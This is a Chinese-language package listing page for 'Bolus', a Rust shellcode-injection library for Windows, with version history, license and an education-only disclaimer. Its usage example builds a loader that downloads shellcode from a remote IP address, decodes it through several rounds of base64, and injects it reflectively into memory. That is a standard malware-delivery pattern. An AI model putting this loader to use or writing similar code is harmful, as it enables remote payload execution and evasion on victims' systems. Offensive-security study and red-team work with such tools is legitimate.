3 个不稳定版本

0.2.0 2023年9月14日
0.1.1 2023年6月4日
0.1.0 2023年6月4日

#9 in #shellcode

MIT 协议

12KB
187

Bolus

使用 Windows API 进行 shellcode 注入的库。

警告:此代码仅用于教育目的。创建者强烈建议您仅在授权环境中使用此代码。不要犯罪。

用法

以下是一个示例实现,可以在 RustyNeedle 中观察

use bolus::{
    inject,
    load,
    injectors::{
        InjectionType,
        InjectorType
    }
};

/// The URL where shellcode will be downloaded from
const URL: &str = "http://1.2.3.4/note.txt";
/// The # of base64 iterations to decode
const B64_ITERATIONS: usize = 3;

fn main() -> Result<(), String> {
    let injector = load(
        InjectorType::Base64Url((
            URL.to_string(),
            B64_ITERATIONS
        ))
    )?;
    inject(
        injector,
        InjectionType::Reflect,
        true
    )
}

文档

完整文档请见 docs.rs

依赖

~144MB
~2.5M SLoC